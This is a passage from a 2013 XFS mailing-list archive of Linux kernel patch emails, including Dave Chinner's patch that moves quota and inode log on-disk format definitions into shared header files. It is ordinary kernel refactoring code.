* Flags for xfs_ichgtime(). */ @@ -626,7 +558,6 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); extern struct kmem_zone *xfs_ifork_zone; extern struct kmem_zone *xfs_inode_zone; -extern struct kmem_zone *xfs_ili_zone; extern const struct xfs_buf_ops xfs_inode_buf_ops; #endif /* __XFS_INODE_H__ */ diff --git a/fs/xfs/xfs_inode_item.h b/fs/xfs/xfs_inode_item.h index 779812f..dce4d65 100644 --- a/fs/xfs/xfs_inode_item.h +++ b/fs/xfs/xfs_inode_item.h @@ -18,123 +18,13 @@ #ifndef __XFS_INODE_ITEM_H__ #define __XFS_INODE_ITEM_H__ -/* - * This is the structure used to lay out an inode log item in the - * log. The size of the inline data/extents/b-tree root to be logged - * (if any) is indicated in the ilf_dsize field. Changes to this structure - * must be added on to the end. - */ -typedef struct xfs_inode_log_format { - __uint16_t ilf_type; /* inode log item type */ - __uint16_t ilf_size; /* size of this item */ - __uint32_t ilf_fields; /* flags for fields logged */ - __uint16_t ilf_asize; /* size of attr d/ext/root */ - __uint16_t ilf_dsize; /* size of data/ext/root */ - __uint64_t ilf_ino; /* inode number */ - union { - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ - uuid_t ilfu_uuid; /* mount point value */ - } ilf_u; - __int64_t ilf_blkno; /* blkno of inode buffer */ - __int32_t ilf_len; /* len of inode buffer */ - __int32_t ilf_boffset; /* off of inode in buffer */ -} xfs_inode_log_format_t; - -typedef struct xfs_inode_log_format_32 { - __uint16_t ilf_type; /* inode log item type */ - __uint16_t ilf_size; /* size of this item */ - __uint32_t ilf_fields; /* flags for fields logged */ - __uint16_t ilf_asize; /* size of attr d/ext/root */ - __uint16_t ilf_dsize; /* size of data/ext/root */ - __uint64_t ilf_ino; /* inode number */ - union { - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ - uuid_t ilfu_uuid; /* mount point value */ - } ilf_u; - __int64_t ilf_blkno; /* blkno of inode buffer */ - __int32_t ilf_len; /* len of inode buffer */ - __int32_t ilf_boffset; /* off of inode in buffer */ -} __attribute__((packed)) xfs_inode_log_format_32_t; - -typedef struct xfs_inode_log_format_64 { - __uint16_t ilf_type; /* inode log item type */ - __uint16_t ilf_size; /* size of this item */ - __uint32_t ilf_fields; /* flags for fields logged */ - __uint16_t ilf_asize; /* size of attr d/ext/root */ - __uint16_t ilf_dsize; /* size of data/ext/root */ - __uint32_t ilf_pad; /* pad for 64 bit boundary */ - __uint64_t ilf_ino; /* inode number */ - union { - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ - uuid_t ilfu_uuid; /* mount point value */ - } ilf_u; - __int64_t ilf_blkno; /* blkno of inode buffer */ - __int32_t ilf_len; /* len of inode buffer */ - __int32_t ilf_boffset; /* off of inode in buffer */ -} xfs_inode_log_format_64_t; - -/* - * Flags for xfs_trans_log_inode flags field. - */ -#define XFS_ILOG_CORE 0x001 /* log standard inode fields */ -#define XFS_ILOG_DDATA 0x002 /* log i_df.if_data */ -#define XFS_ILOG_DEXT 0x004 /* log i_df.if_extents */ -#define XFS_ILOG_DBROOT 0x008 /* log i_df.i_broot */ -#define XFS_ILOG_DEV 0x010 /* log the dev field */ -#define XFS_ILOG_UUID 0x020 /* log the uuid field */ -#define XFS_ILOG_ADATA 0x040 /* log i_af.if_data */ -#define XFS_ILOG_AEXT 0x080 /* log i_af.if_extents */ -#define XFS_ILOG_ABROOT 0x100 /* log i_af.i_broot */ - - -/* - * The timestamps are dirty, but not necessarily anything else in the inode - * core. Unlike the other fields above this one must never make it to disk - * in the ilf_fields of the inode_log_format, but is purely store in-memory in - * ili_fields in the inode_log_item. - */ -#define XFS_ILOG_TIMESTAMP 0x4000 - -#define XFS_ILOG_NONCORE (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ - XFS_ILOG_DBROOT | XFS_ILOG_DEV | \ - XFS_ILOG_UUID | XFS_ILOG_ADATA | \ - XFS_ILOG_AEXT | XFS_ILOG_ABROOT) - -#define XFS_ILOG_DFORK (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ - XFS_ILOG_DBROOT) - -#define XFS_ILOG_AFORK (XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ - XFS_ILOG_ABROOT) - -#define XFS_ILOG_ALL (XFS_ILOG_CORE | XFS_ILOG_DDATA | \ - XFS_ILOG_DEXT | XFS_ILOG_DBROOT | \ - XFS_ILOG_DEV | XFS_ILOG_UUID | \ - XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ - XFS_ILOG_ABROOT | XFS_ILOG_TIMESTAMP) - -static inline int xfs_ilog_fbroot(int w) -{ - return (w == XFS_DATA_FORK ? XFS_ILOG_DBROOT : XFS_ILOG_ABROOT); -} - -static inline int xfs_ilog_fext(int w) -{ - return (w == XFS_DATA_FORK ? XFS_ILOG_DEXT : XFS_ILOG_AEXT); -} - -static inline int xfs_ilog_fdata(int w) -{ - return (w == XFS_DATA_FORK ? XFS_ILOG_DDATA : XFS_ILOG_ADATA); -} - -#ifdef __KERNEL__ +/* kernel only definitions */ struct xfs_buf; struct xfs_bmbt_rec; struct xfs_inode; struct xfs_mount; - typedef struct xfs_inode_log_item { xfs_log_item_t ili_item; /* common portion */ struct xfs_inode *ili_inode; /* inode ptr */ @@ -151,7 +41,6 @@ typedef struct xfs_inode_log_item { xfs_inode_log_format_t ili_format; /* logged structure */ } xfs_inode_log_item_t; - static inline int xfs_inode_clean(xfs_inode_t *ip) { return !ip->i_itemp || !(ip->i_itemp->ili_fields & XFS_ILOG_ALL); @@ -165,6 +54,6 @@ extern void xfs_iflush_abort(struct xfs_inode *, bool); extern int xfs_inode_item_format_convert(xfs_log_iovec_t *, xfs_inode_log_format_t *); -#endif /* __KERNEL__ */ +extern struct kmem_zone *xfs_ili_zone; #endif /* __XFS_INODE_ITEM_H__ */ diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index 9f9aeb6..fd46a7f 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -18,6 +18,16 @@ #ifndef __XFS_LOG_FORMAT_H__ #define __XFS_LOG_FORMAT_H__ +/* + * On-disk Log Format definitions. + * + * This file contains all the on-disk format definitions used within the log. It + * includes the physical log structure itself, as well as all the log item + * format structures that are written into the log and intepreted by log + * recovery. We start with the physical log format definitions, and then work + * through all the log items definitions and everything they encode into the + * log. + */ typedef __uint32_t xlog_tid_t; #define XLOG_MIN_ICLOGS 2 @@ -175,4 +185,183 @@ typedef struct xfs_log_iovec { uint i_type; /* type of region */ } xfs_log_iovec_t; + +/* + * Inode Log Item Format definitions. + * + * This is the structure used to lay out an inode log item in the + * log. The size of the inline data/extents/b-tree root to be logged + * (if any) is indicated in the ilf_dsize field. Changes to this structure + * must be added on to the end. + */ +typedef struct xfs_inode_log_format { + __uint16_t ilf_type; /* inode log item type */ + __uint16_t ilf_size; /* size of this item */ + __uint32_t ilf_fields; /* flags for fields logged */ + __uint16_t ilf_asize; /* size of attr d/ext/root */ + __uint16_t ilf_dsize; /* size of data/ext/root */ + __uint64_t ilf_ino; /* inode number */ + union { + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ + uuid_t ilfu_uuid; /* mount point value */ + } ilf_u; + __int64_t ilf_blkno; /* blkno of inode buffer */ + __int32_t ilf_len; /* len of inode buffer */ + __int32_t ilf_boffset; /* off of inode in buffer */ +} xfs_inode_log_format_t; + +typedef struct xfs_inode_log_format_32 { + __uint16_t ilf_type; /* inode log item type */ + __uint16_t ilf_size; /* size of this item */ + __uint32_t ilf_fields; /* flags for fields logged */ + __uint16_t ilf_asize; /* size of attr d/ext/root */ + __uint16_t ilf_dsize; /* size of data/ext/root */ + __uint64_t ilf_ino; /* inode number */ + union { + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ + uuid_t ilfu_uuid; /* mount point value */ + } ilf_u; + __int64_t ilf_blkno; /* blkno of inode buffer */ + __int32_t ilf_len; /* len of inode buffer */ + __int32_t ilf_boffset; /* off of inode in buffer */ +} __attribute__((packed)) xfs_inode_log_format_32_t; + +typedef struct xfs_inode_log_format_64 { + __uint16_t ilf_type; /* inode log item type */ + __uint16_t ilf_size; /* size of this item */ + __uint32_t ilf_fields; /* flags for fields logged */ + __uint16_t ilf_asize; /* size of attr d/ext/root */ + __uint16_t ilf_dsize; /* size of data/ext/root */ + __uint32_t ilf_pad; /* pad for 64 bit boundary */ + __uint64_t ilf_ino; /* inode number */ + union { + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ + uuid_t ilfu_uuid; /* mount point value */ + } ilf_u; + __int64_t ilf_blkno; /* blkno of inode buffer */ + __int32_t ilf_len; /* len of inode buffer */ + __int32_t ilf_boffset; /* off of inode in buffer */ +} xfs_inode_log_format_64_t; + +/* + * Flags for xfs_trans_log_inode flags field. + */ +#define XFS_ILOG_CORE 0x001 /* log standard inode fields */ +#define XFS_ILOG_DDATA 0x002 /* log i_df.if_data */ +#define XFS_ILOG_DEXT 0x004 /* log i_df.if_extents */ +#define XFS_ILOG_DBROOT 0x008 /* log i_df.i_broot */ +#define XFS_ILOG_DEV 0x010 /* log the dev field */ +#define XFS_ILOG_UUID 0x020 /* log the uuid field */ +#define XFS_ILOG_ADATA 0x040 /* log i_af.if_data */ +#define XFS_ILOG_AEXT 0x080 /* log i_af.if_extents */ +#define XFS_ILOG_ABROOT 0x100 /* log i_af.i_broot */ + + +/* + * The timestamps are dirty, but not necessarily anything else in the inode + * core. Unlike the other fields above this one must never make it to disk + * in the ilf_fields of the inode_log_format, but is purely store in-memory in + * ili_fields in the inode_log_item. + */ +#define XFS_ILOG_TIMESTAMP 0x4000 + +#define XFS_ILOG_NONCORE (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ + XFS_ILOG_DBROOT | XFS_ILOG_DEV | \ + XFS_ILOG_UUID | XFS_ILOG_ADATA | \ + XFS_ILOG_AEXT | XFS_ILOG_ABROOT) + +#define XFS_ILOG_DFORK (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ + XFS_ILOG_DBROOT) + +#define XFS_ILOG_AFORK (XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ + XFS_ILOG_ABROOT) + +#define XFS_ILOG_ALL (XFS_ILOG_CORE | XFS_ILOG_DDATA | \ + XFS_ILOG_DEXT | XFS_ILOG_DBROOT | \ + XFS_ILOG_DEV | XFS_ILOG_UUID | \ + XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ + XFS_ILOG_ABROOT | XFS_ILOG_TIMESTAMP) + +static inline int xfs_ilog_fbroot(int w) +{ + return (w == XFS_DATA_FORK ? XFS_ILOG_DBROOT : XFS_ILOG_ABROOT); +} + +static inline int xfs_ilog_fext(int w) +{ + return (w == XFS_DATA_FORK ? XFS_ILOG_DEXT : XFS_ILOG_AEXT); +} + +static inline int xfs_ilog_fdata(int w) +{ + return (w == XFS_DATA_FORK ? XFS_ILOG_DDATA : XFS_ILOG_ADATA); +} + +/* + * Incore version of the on-disk inode core structures. We log this directly + * into the journal in host CPU format (for better or worse) and as such + * directly mirrors the xfs_dinode structure as it must contain all the same + * information. + */ +typedef struct xfs_ictimestamp { + __int32_t t_sec; /* timestamp seconds */ + __int32_t t_nsec; /* timestamp nanoseconds */ +} xfs_ictimestamp_t; + +/* + * NOTE: This structure must be kept identical to struct xfs_dinode + * in xfs_dinode.h except for the endianness annotations. + */ +typedef struct xfs_icdinode { + __uint16_t di_magic; /* inode magic # = XFS_DINODE_MAGIC */ + __uint16_t di_mode; /* mode and type of file */ + __int8_t di_version; /* inode version */ + __int8_t di_format; /* format of di_c data */ + __uint16_t di_onlink; /* old number of links to file */ + __uint32_t di_uid; /* owner's user id */ + __uint32_t di_gid; /* owner's group id */ + __uint32_t di_nlink; /* number of links to file */ + __uint16_t di_projid_lo; /* lower part of owner's project id */ + __uint16_t di_projid_hi; /* higher part of owner's project id */ + __uint8_t di_pad[6]; /* unused, zeroed space */ + __uint16_t di_flushiter; /* incremented on flush */ + xfs_ictimestamp_t di_atime; /* time last accessed */ + xfs_ictimestamp_t di_mtime; /* time last modified */ + xfs_ictimestamp_t di_ctime; /* time created/inode modified */ + xfs_fsize_t di_size; /* number of bytes in file */ + xfs_drfsbno_t di_nblocks; /* # of direct & btree blocks used */ + xfs_extlen_t di_extsize; /* basic/minimum extent size for file */ + xfs_extnum_t di_nextents; /* number of extents in data fork */ + xfs_aextnum_t di_anextents; /* number of extents in attribute fork*/ + __uint8_t di_forkoff; /* attr fork offs, <<3 for 64b align */ + __int8_t di_aformat; /* format of attr fork's data */ + __uint32_t di_dmevmask; /* DMIG event mask */ + __uint16_t di_dmstate; /* DMIG state info */ + __uint16_t di_flags; /* random flags, XFS_DIFLAG_... */ + __uint32_t di_gen; /* generation number */ + + /* di_next_unlinked is the only non-core field in the old dinode */ + xfs_agino_t di_next_unlinked;/* agi unlinked list ptr */ + + /* start of the extended dinode, writable fields */ + __uint32_t di_crc; /* CRC of the inode */ + __uint64_t di_changecount; /* number of attribute changes */ + xfs_lsn_t di_lsn; /* flush sequence */ + __uint64_t di_flags2; /* more random flags */ + __uint8_t di_pad2[16]; /* more padding for future expansion */ + + /* fields only written to during inode creation */ + xfs_ictimestamp_t di_crtime; /* time created */ + xfs_ino_t di_ino; /* inode number */ + uuid_t di_uuid; /* UUID of the filesystem */ + + /* structure must be padded to 64 bit alignment */ +} xfs_icdinode_t; + +static inline uint xfs_icdinode_size(int version) +{ + if (version == 3) + return sizeof(struct xfs_icdinode); + return offsetof(struct xfs_icdinode, di_next_unlinked); +} #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h index 61ba1cf..39c48ca 100644 --- a/fs/xfs/xfs_types.h +++ b/fs/xfs/xfs_types.h @@ -146,6 +146,12 @@ typedef __uint64_t xfs_filblks_t; /* number of blocks in a file */ #define XFS_MAX_SECTORSIZE (1 << XFS_MAX_SECTORSIZE_LOG) /* + * Inode fork identifiers. + */ +#define XFS_DATA_FORK 0 +#define XFS_ATTR_FORK 1 + +/* * Min numbers of data/attr fork btree root pointers. */ #define MINDBTPTRS 3 diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index 87d3e03..b7311aa 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -17,6 +17,7 @@ */ #include "xfs.h" +#include "xfs_log_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:27:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 227077FE1 for ; Fri, 19 Jul 2013 01:26:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 89ECFAC001 for ; Thu, 18 Jul 2013 23:26:03 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020010-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id AlDvYQELAaig5RAt for ; Thu, 18 Jul 2013 23:26:00 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUaDS8zCBgxOQMbGYgPti+OWAcThSADoX+HK4MkKoEt Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:52 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00047y-JV for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001x0-IZ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 05/49] xfs: separate dquot on disk format definitions out of xfs_quota.h Date: Fri, 19 Jul 2013 16:24:36 +1000 X-ASG-Orig-Subj: [PATCH 05/49] xfs: separate dquot on disk format definitions out of xfs_quota.h Message-Id: <1374215120-7271-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215160 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on disk format definitions of the on-disk dquot, log formats and quota off log formats are all intertwined with other definitions for quotas. Separate them out into their own header file so they can easily be shared with userspace. Signed-off-by: Dave Chinner --- fs/xfs/xfs_attr.c | 2 +- fs/xfs/xfs_bmap.c | 2 +- fs/xfs/xfs_bmap_btree.c | 2 +- fs/xfs/xfs_discard.c | 1 + fs/xfs/xfs_dquot.c | 1 + fs/xfs/xfs_dquot_item.c | 1 + fs/xfs/xfs_format.h | 86 ++++++++++++++++++++++++++++++++ fs/xfs/xfs_icache.c | 1 + fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_ioctl.c | 1 + fs/xfs/xfs_iomap.c | 1 + fs/xfs/xfs_iops.c | 1 + fs/xfs/xfs_log_format.h | 58 ++++++++++++++++++++++ fs/xfs/xfs_log_recover.c | 2 +- fs/xfs/xfs_mount.c | 2 +- fs/xfs/xfs_qm.c | 1 + fs/xfs/xfs_qm_bhv.c | 1 + fs/xfs/xfs_qm_syscalls.c | 1 + fs/xfs/xfs_quota.h | 126 ----------------------------------------------- fs/xfs/xfs_quotaops.c | 1 + fs/xfs/xfs_rename.c | 2 +- fs/xfs/xfs_super.c | 1 + fs/xfs/xfs_symlink.c | 2 +- fs/xfs/xfs_trace.c | 1 + fs/xfs/xfs_trans.c | 2 +- fs/xfs/xfs_trans_dquot.c | 1 + fs/xfs/xfs_types.h | 6 +++ fs/xfs/xfs_utils.c | 2 +- fs/xfs/xfs_vnodeops.c | 2 +- 29 files changed, 175 insertions(+), 137 deletions(-) create mode 100644 fs/xfs/xfs_format.h diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index 20fe3fe..27a48bb 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 05c698c..0343b44 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_inum.h" diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c index 0c61a22..bcee383 100644 --- a/fs/xfs/xfs_bmap_btree.c +++ b/fs/xfs/xfs_bmap_btree.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c index 69cf4fc..65831f9 100644 --- a/fs/xfs/xfs_discard.c +++ b/fs/xfs/xfs_discard.c @@ -16,6 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" +#include "xfs_format.h" #include "xfs_sb.h" #include "xfs_log.h" #include "xfs_ag.h" diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 0adf27e..36e1cf3 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_dquot_item.c b/fs/xfs/xfs_dquot_item.c index 57aa4b0..f07a436 100644 --- a/fs/xfs/xfs_dquot_item.c +++ b/fs/xfs/xfs_dquot_item.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h new file mode 100644 index 0000000..2b4f166 --- /dev/null +++ b/fs/xfs/xfs_format.h @@ -0,0 +1,86 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_FORMAT_H__ +#define __XFS_FORMAT_H__ + +/* + * XFS On Disk Format Definitions + * + * This header file defines all the on-disk format definitions for + * general XFS objects. Directory and attribute related objects are defined in + * xfs_da_format.h, which log and log item formats are defined in + * xfs_log_format.h. Everything else goes here. + */ + +/* + * Dquot and dquot block format definitions + */ +#define XFS_DQUOT_MAGIC 0x4451 /* 'DQ' */ +#define XFS_DQUOT_VERSION (u_int8_t)0x01 /* latest version number */ + +/* + * This is the main portion of the on-disk representation of quota + * information for a user. This is the q_core of the xfs_dquot_t that + * is kept in kernel memory. We pad this with some more expansion room + * to construct the on disk structure. + */ +typedef struct xfs_disk_dquot { + __be16 d_magic; /* dquot magic = XFS_DQUOT_MAGIC */ + __u8 d_version; /* dquot version */ + __u8 d_flags; /* XFS_DQ_USER/PROJ/GROUP */ + __be32 d_id; /* user,project,group id */ + __be64 d_blk_hardlimit;/* absolute limit on disk blks */ + __be64 d_blk_softlimit;/* preferred limit on disk blks */ + __be64 d_ino_hardlimit;/* maximum # allocated inodes */ + __be64 d_ino_softlimit;/* preferred inode limit */ + __be64 d_bcount; /* disk blocks owned by the user */ + __be64 d_icount; /* inodes owned by the user */ + __be32 d_itimer; /* zero if within inode limits if not, + this is when we refuse service */ + __be32 d_btimer; /* similar to above; for disk blocks */ + __be16 d_iwarns; /* warnings issued wrt num inodes */ + __be16 d_bwarns; /* warnings issued wrt disk blocks */ + __be32 d_pad0; /* 64 bit align */ + __be64 d_rtb_hardlimit;/* absolute limit on realtime blks */ + __be64 d_rtb_softlimit;/* preferred limit on RT disk blks */ + __be64 d_rtbcount; /* realtime blocks owned */ + __be32 d_rtbtimer; /* similar to above; for RT disk blocks */ + __be16 d_rtbwarns; /* warnings issued wrt RT disk blocks */ + __be16 d_pad; +} xfs_disk_dquot_t; + +/* + * This is what goes on disk. This is separated from the xfs_disk_dquot because + * carrying the unnecessary padding would be a waste of memory. + */ +typedef struct xfs_dqblk { + xfs_disk_dquot_t dd_diskdq; /* portion that lives incore as well */ + char dd_fill[4]; /* filling for posterity */ + + /* + * These two are only present on filesystems with the CRC bits set. + */ + __be32 dd_crc; /* checksum */ + __be64 dd_lsn; /* last modification in log */ + uuid_t dd_uuid; /* location information */ +} xfs_dqblk_t; + +#define XFS_DQUOT_CRC_OFF offsetof(struct xfs_dqblk, dd_crc) + + +#endif /* __XFS_FORMAT_H__ */ diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 3f90e1c..d9a4167 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_types.h" #include "xfs_log.h" #include "xfs_log_priv.h" diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index b78481f..1c6c348 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -19,7 +19,7 @@ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_inum.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 6e2bca5..3124efa 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 6a70964..e4577f8 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 96dda62..e441698 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_acl.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index d1e93d3..5963ec7 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -544,4 +544,62 @@ typedef struct xfs_efd_log_format_64 { xfs_extent_64_t efd_extents[1]; /* array of extents freed */ } xfs_efd_log_format_64_t; +/* + * Dquot Log format definitions. + * + * The first two fields must be the type and size fitting into + * 32 bits : log_recovery code assumes that. + */ +typedef struct xfs_dq_logformat { + __uint16_t qlf_type; /* dquot log item type */ + __uint16_t qlf_size; /* size of this item */ + xfs_dqid_t qlf_id; /* usr/grp/proj id : 32 bits */ + __int64_t qlf_blkno; /* blkno of dquot buffer */ + __int32_t qlf_len; /* len of dquot buffer */ + __uint32_t qlf_boffset; /* off of dquot in buffer */ +} xfs_dq_logformat_t; + +/* + * log format struct for QUOTAOFF records. + * The first two fields must be the type and size fitting into + * 32 bits : log_recovery code assumes that. + * We write two LI_QUOTAOFF logitems per quotaoff, the last one keeps a pointer + * to the first and ensures that the first logitem is taken out of the AIL + * only when the last one is securely committed. + */ +typedef struct xfs_qoff_logformat { + unsigned short qf_type; /* quotaoff log item type */ + unsigned short qf_size; /* size of this item */ + unsigned int qf_flags; /* USR and/or GRP */ + char qf_pad[12]; /* padding for future */ +} xfs_qoff_logformat_t; + + +/* + * Disk quotas status in m_qflags, and also sb_qflags. 16 bits. + */ +#define XFS_UQUOTA_ACCT 0x0001 /* user quota accounting ON */ +#define XFS_UQUOTA_ENFD 0x0002 /* user quota limits enforced */ +#define XFS_UQUOTA_CHKD 0x0004 /* quotacheck run on usr quotas */ +#define XFS_PQUOTA_ACCT 0x0008 /* project quota accounting ON */ +#define XFS_OQUOTA_ENFD 0x0010 /* other (grp/prj) quota limits enforced */ +#define XFS_OQUOTA_CHKD 0x0020 /* quotacheck run on other (grp/prj) quotas */ +#define XFS_GQUOTA_ACCT 0x0040 /* group quota accounting ON */ + +/* + * Conversion to and from the combined OQUOTA flag (if necessary) + * is done only in xfs_sb_qflags_to_disk() and xfs_sb_qflags_from_disk() + */ +#define XFS_GQUOTA_ENFD 0x0080 /* group quota limits enforced */ +#define XFS_GQUOTA_CHKD 0x0100 /* quotacheck run on group quotas */ +#define XFS_PQUOTA_ENFD 0x0200 /* project quota limits enforced */ +#define XFS_PQUOTA_CHKD 0x0400 /* quotacheck run on project quotas */ + +#define XFS_ALL_QUOTA_ACCT \ + (XFS_UQUOTA_ACCT | XFS_GQUOTA_ACCT | XFS_PQUOTA_ACCT) +#define XFS_ALL_QUOTA_ENFD \ + (XFS_UQUOTA_ENFD | XFS_GQUOTA_ENFD | XFS_PQUOTA_ENFD) +#define XFS_ALL_QUOTA_CHKD \ + (XFS_UQUOTA_CHKD | XFS_GQUOTA_CHKD | XFS_PQUOTA_CHKD) + #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 27f2572..8763452 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_bit.h" #include 